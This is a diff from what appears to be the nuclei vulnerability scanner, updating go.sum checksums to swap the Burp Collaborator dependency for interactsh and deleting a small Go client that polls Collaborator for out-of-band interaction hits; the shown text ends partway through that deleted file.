+github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
 github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/onsi/gomega v1.7.0 h1:XPnZz8VVBHjVsy1vzJmRwIcSwiUO+JFfrv/xGiigmME=
+github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/owenrumney/go-sarif v1.0.4 h1:0LFC5eHP6amc/9ajM1jDiE52UfXFcl/oozay+X3KgV4=
+github.com/owenrumney/go-sarif v1.0.4/go.mod h1:DXUGbHwQcCMvqcvZbxh8l/7diHsJVztOKZgmPt88RNI=
 github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20=
 github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydKJhWlVaLl3Xo9ioVGg=
-github.com/projectdiscovery/collaborator v0.0.2 h1:BSiMlWM3NvuKbpedn6fIjjEo5b7q5zmiJ6tI7+6mB3s=
-github.com/projectdiscovery/collaborator v0.0.2/go.mod h1:J1z0fC7Svutz3LJqoRyTHA3F0Suh4livmkYv8MnKw20=
 github.com/projectdiscovery/fastdialer v0.0.8 h1:mEMc8bfXV5hc1PUEkJiUnR5imYQe6+839Zezd5jLkc0=
 github.com/projectdiscovery/fastdialer v0.0.8/go.mod h1:AuaV0dzrNeBLHqjNnzpFSnTXnHGIZAlGQE+WUMmSIW4=
-github.com/projectdiscovery/goflags v0.0.4 h1:fWKLMAr3KmPlZxE1b54pfei+vGIUJn9q6aM7woZIbCY=
-github.com/projectdiscovery/goflags v0.0.4/go.mod h1:Ae1mJ5MIIqjys0lFe3GiMZ10Z8VLaxkYJ1ySA4Zv8HA=
+github.com/projectdiscovery/goflags v0.0.6 h1:4ErduTfSC55cRR3TmUg+TQirBlCuBdBadrluAsy1pew=
+github.com/projectdiscovery/goflags v0.0.6/go.mod h1:Ae1mJ5MIIqjys0lFe3GiMZ10Z8VLaxkYJ1ySA4Zv8HA=
+github.com/projectdiscovery/gologger v1.1.3/go.mod h1:jdXflz3TLB8bcVNzb0v26TztI9KPz8Lr4BVdUhNUs6E=
 github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI=
 github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY=
 github.com/projectdiscovery/hmap v0.0.1 h1:VAONbJw5jP+syI5smhsfkrq9XPGn4aiYy5pR6KR1wog=
 github.com/projectdiscovery/hmap v0.0.1/go.mod h1:VDEfgzkKQdq7iGTKz8Ooul0NuYHQ8qiDs6r8bPD1Sb0=
-github.com/projectdiscovery/rawhttp v0.0.6 h1:HbgPB1eKXQVV5F9sq0Uxflm95spWFyZYD8dgFpeOC9M=
-github.com/projectdiscovery/rawhttp v0.0.6/go.mod h1:PQERZAhAv7yxI/hR6hdDPgK1WTU56l204BweXrBec+0=
+github.com/projectdiscovery/interactsh v0.0.3 h1:PUkWk+NzSyd5glMqfORmuqizhsd7c3WdTYBOto/MQIU=
+github.com/projectdiscovery/interactsh v0.0.3/go.mod h1:dWnKO14d2FLP3kLhI9DecEsiAC/aZiJoUBGFjGhDskY=
+github.com/projectdiscovery/rawhttp v0.0.7 h1:5m4peVgjbl7gqDcRYMTVEuX+Xs/nh76ohTkkvufucLg=
+github.com/projectdiscovery/rawhttp v0.0.7/go.mod h1:PQERZAhAv7yxI/hR6hdDPgK1WTU56l204BweXrBec+0=
 github.com/projectdiscovery/retryabledns v1.0.7/go.mod h1:/UzJn4I+cPdQl6pKiiQfvVAT636YZvJQYZhYhGB0dUQ=
 github.com/projectdiscovery/retryabledns v1.0.10 h1:xJZ2aKoqrNg/OZEw1+4+QIOH40V/WkZDYY1ZZc+uphE=
 github.com/projectdiscovery/retryabledns v1.0.10/go.mod h1:4sMC8HZyF01HXukRleSQYwz4870bwgb4+hTSXTMrkf4=
-github.com/projectdiscovery/retryablehttp-go v1.0.1 h1:V7wUvsZNq1Rcz7+IlcyoyQlNwshuwptuBVYWw9lx8RE=
 github.com/projectdiscovery/retryablehttp-go v1.0.1/go.mod h1:SrN6iLZilNG1X4neq1D+SBxoqfAF4nyzvmevkTkWsek=
+github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727 h1:CJHP3CLCc/eqdXQEvZy8KiiqtAk9kEsd1URtPyPAQ1s=
+github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727/go.mod h1:dx//aY9V247qHdsRf0vdWHTBZuBQ2vm6Dq5dagxrDYI=
+github.com/projectdiscovery/stringsutil v0.0.0-20210617141317-00728870f68d h1:nlOAex7twmrEqD5i6WLnugF9uO3DQ6jDEKN9gevrTAk=
+github.com/projectdiscovery/stringsutil v0.0.0-20210617141317-00728870f68d/go.mod h1:TVSdZC0rRQeMIbsNSiGPhbmhyRtxqqtAGA9JiiNp2r4=
+github.com/prologic/smtpd v0.0.0-20210126001904-0893ad18168e h1:ZT3wZ92sp/EHEE/HcFCWCsYS3ROLjHb6EqSX8qYrgXw=
+github.com/prologic/smtpd v0.0.0-20210126001904-0893ad18168e/go.mod h1:GkLsdH1RZj6RDKeI9A05NGZYmEZQ/PbQcZPnZoSZuYI=
 github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
 github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
 github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
 github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
 github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
 github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
+github.com/rogpeppe/fastuuid v1.1.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
 github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
 github.com/rs/xid v1.2.1 h1:mhH9Nq+C1fY2l1XIpgxIiUOfNpRBYH1kKcr+qfKgjRc=
 github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
 github.com/segmentio/ksuid v1.0.3 h1:FoResxvleQwYiPAVKe1tMUlEirodZqlqglIuFsdDntY=
 github.com/segmentio/ksuid v1.0.3/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
+github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
+github.com/shirou/gopsutil/v3 v3.21.5 h1:YUBf0w/KPLk7w1803AYBnH7BmA+1Z/Q5MEZxpREUaB4=
+github.com/shirou/gopsutil/v3 v3.21.5/go.mod h1:ghfMypLDrFSWN2c9cDYFLHyynQ+QUht0cv/18ZqVczw=
+github.com/smartystreets/assertions v1.0.0/go.mod h1:kHHU4qYBaI3q23Pp3VPrmWhuIUrLW/7eUrw0BU5VaoM=
+github.com/smartystreets/go-aws-auth v0.0.0-20180515143844-0c1422d1fdb9/go.mod h1:SnhjPscd9TpLiy1LpzGSKh3bXCfxxXuqd9xmQJy3slM=
+github.com/smartystreets/gunit v1.0.0/go.mod h1:qwPWnhz6pn0NnRBP++URONOVyNkPyr4SauJk4cUOwJs=
 github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
 github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
 github.com/spf13/cast v1.3.1 h1:nFm6S0SMdyzrzcmThSipiEubIDy8WEXKNZ0UOgiRpng=
@@ -233,17 +305,39 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+
 github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
 github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
 github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
 github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
 github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
 github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
 github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
+github.com/tj/assert v0.0.0-20171129193455-018094318fb0/go.mod h1:mZ9/Rh9oLWpLLDRpvE+3b7gP/C2YyLFYxNmcLnPTMe0=
+github.com/tj/assert v0.0.3 h1:Df/BlaZ20mq6kuai7f5z2TvPFiwC3xaWJSDQNiIS3Rk=
+github.com/tj/assert v0.0.3/go.mod h1:Ne6X72Q+TB1AteidzQncjw9PabbMp4PBMZ1k+vd1Pvk=
+github.com/tj/go-buffer v1.1.0/go.mod h1:iyiJpfFcR2B9sXu7KvjbT9fpM4mOelRSDTbntVj52Uc=
+github.com/tj/go-elastic v0.0.0-20171221160941-36157cbbebc2/go.mod h1:WjeM0Oo1eNAjXGDx2yma7uG2XoyRZTq1uv3M/o7imD0=
+github.com/tj/go-kinesis v0.0.0-20171128231115-08b17f58cb1b/go.mod h1:/yhzCV0xPfx6jb1bBgRFjl5lytqVqZXEaeqWP8lTEao=
+github.com/tj/go-spin v1.1.0/go.mod h1:Mg1mzmePZm4dva8Qz60H2lHwmJ2loum4VIrLgVnKwh4=
+github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible h1:guTq1YxwB8XSILkI9q4IrOmrCOS6Hc1L3hmOhi4Swcs=
+github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible/go.mod h1:waFwwyiAhGey2e+dNoYQ/iLhIcFqhCW7zL/+vDU1WLo=
+github.com/tklauser/go-sysconf v0.3.4 h1:HT8SVixZd3IzLdfs/xlpq0jeSfTX57g1v6wB1EuzV7M=
+github.com/tklauser/go-sysconf v0.3.4/go.mod h1:Cl2c8ZRWfHD5IrfHo9VN+FX9kCFjIOyVklgXycLB6ek=
+github.com/tklauser/numcpus v0.2.1 h1:ct88eFm+Q7m2ZfXJdan1xYoXKlmwsfP+k88q05KvlZc=
+github.com/tklauser/numcpus v0.2.1/go.mod h1:9aU+wOc6WjUIZEwWMP62PL/41d65P+iks1gBkr4QyP8=
 github.com/trivago/tgo v1.0.1/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
 github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
 github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
+github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=
+github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8=
+github.com/ulikunitz/xz v0.5.10/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
 github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
 github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
 github.com/valyala/fasttemplate v1.2.1 h1:TVEnxayobAdVkhQfrfes2IzOB6o+z4roRkPF52WA1u4=
 github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ=
+github.com/vmihailenco/msgpack/v4 v4.3.12/go.mod h1:gborTTJjAo/GWTqqRjrLCn9pgNN+NXzzngzBKDPIqw4=
+github.com/vmihailenco/tagparser v0.1.1/go.mod h1:OeAg3pn3UbLjkWt+rN9oFYB6u/cQgqMEUPoW2WPyhdI=
+github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0 h1:3UeQBvD0TFrlVjOeLOBz+CPAI8dnbqNSVwUwRrkp7vQ=
+github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0/go.mod h1:IXCdmsXIht47RaVFLEdVnh1t+pgYtTAhQGj73kz+2DM=
 github.com/xanzy/go-gitlab v0.44.0 h1:cEiGhqu7EpFGuei2a2etAwB+x6403E5CvpLn35y+GPs=
 github.com/xanzy/go-gitlab v0.44.0/go.mod h1:sPLojNBn68fMUWSxIJtdVVIP8uSBYqesTfDUseX11Ug=
 github.com/ysmood/goob v0.3.0 h1:XZ51cZJ4W3WCoCiUktixzMIQF86W7G5VFL4QQ/Q2uS0=
@@ -259,6 +353,8 @@ github.com/ysmood/leakless v0.6.12/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNq
 github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
 github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
 github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/zclconf/go-cty v1.8.2 h1:u+xZfBKgpycDnTNjPhGiTEYZS5qS/Sb5MqSfm7vzcjg=
+github.com/zclconf/go-cty v1.8.2/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk=
 go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
 go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
 go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
@@ -276,6 +372,7 @@ golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8U
 golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
 golang.org/x/crypto v0.0.0-20201112155050-0c6587e931a9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
 golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
 golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df h1:y7QZzfUiTwWam+xBn29Ulb8CBwVN5UdzmMDavl9Whlw=
@@ -339,8 +436,9 @@ golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/
 golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
 golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
 golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
-golang.org/x/net v0.0.0-20210119194325-5f4716e94777 h1:003p0dJM77cxMSyCPFphvZf/Y5/NXf5fzg6ufd1/Oew=
 golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20210521195947-fe42d452be8f h1:Si4U+UcgJzya9kpiEUJKQvjr512OLli+gL4poHrz93U=
+golang.org/x/net v0.0.0-20210521195947-fe42d452be8f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
 golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
 golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
 golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -362,6 +460,7 @@ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -387,11 +486,13 @@ golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201113233024-12cec1faf1ba/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210218155724-8ebf48af031b h1:lAZ0/chPUDWwjqosYR0X4M490zQhMsiJ4K3DbA7o+3g=
-golang.org/x/sys v0.0.0-20210218155724-8ebf48af031b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
 golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -399,8 +500,9 @@ golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
-golang.org/x/text v0.3.4 h1:0YWbFKbhXG/wIiuHDSKpS0Iy7FSA+u45VtBMfQcFTTc=
-golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
@@ -531,8 +633,11 @@ google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4
 google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/corvus-ch/zbase32.v1 v1.0.0 h1:K4u1NprbDNvKPczKfHLbwdOWHTZ0zfv2ow71H1nRnFU=
+gopkg.in/corvus-ch/zbase32.v1 v1.0.0/go.mod h1:T3oKkPOm4AV/bNXCNFUxRmlE9RUyBz/DSo0nK9U+c0Y=
 gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
 gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
 gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
@@ -543,6 +648,7 @@ gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
 gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
 gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=

v2/internal/collaborator/collaborator.go

@@ -1,72 +0,0 @@
-package collaborator
-
-import (
-	"strings"
-	"sync"
-	"time"
-
-	"github.com/projectdiscovery/collaborator"
-)
-
-var (
-	// PollSeconds is the seconds to poll at.
-	PollSeconds = 5
-	// DefaultMaxBufferLimit is the default request buffer limit
-	DefaultMaxBufferLimit = 150
-	// DefaultPollInterval is the default poll interval for burp collabortor polling.
-	DefaultPollInterval time.Duration = time.Second * time.Duration(PollSeconds)
-	// DefaultCollaborator is the default burp collaborator instance
-	DefaultCollaborator = &Collaborator{Collab: collaborator.NewBurpCollaborator()}
-)
-
-// Collaborator is a client for recording burp collaborator interactions
-type Collaborator struct {
-	sync.RWMutex
-	options *Options // unused
-	Collab  *collaborator.BurpCollaborator
-}
-
-// Options contains configuration options for collaborator client
-type Options struct {
-	BIID           string
-	PollInterval   time.Duration
-	MaxBufferLimit int
-}
-
-// New creates a new collaborator client
-func New(options *Options) *Collaborator {
-	collab := collaborator.NewBurpCollaborator()
-	collab.AddBIID(options.BIID)
-	collab.MaxBufferLimit = options.MaxBufferLimit
-	return &Collaborator{Collab: collab, options: options}
-}
-
-// Poll initiates collaborator polling if any BIIDs were provided
-func (b *Collaborator) Poll() {
-	// if no valid biids were provided just return
-	if len(b.Collab.BIIDs) > 0 {
-		go b.Collab.PollEach(DefaultPollInterval)
-	}
-}
-
-// Has checks if a collabrator hit was found for a URL
-func (b *Collaborator) Has(s string) bool {
-	for _, r := range b.Collab.RespBuffer {
-		for i := 0; i < len(r.Responses); i++ {
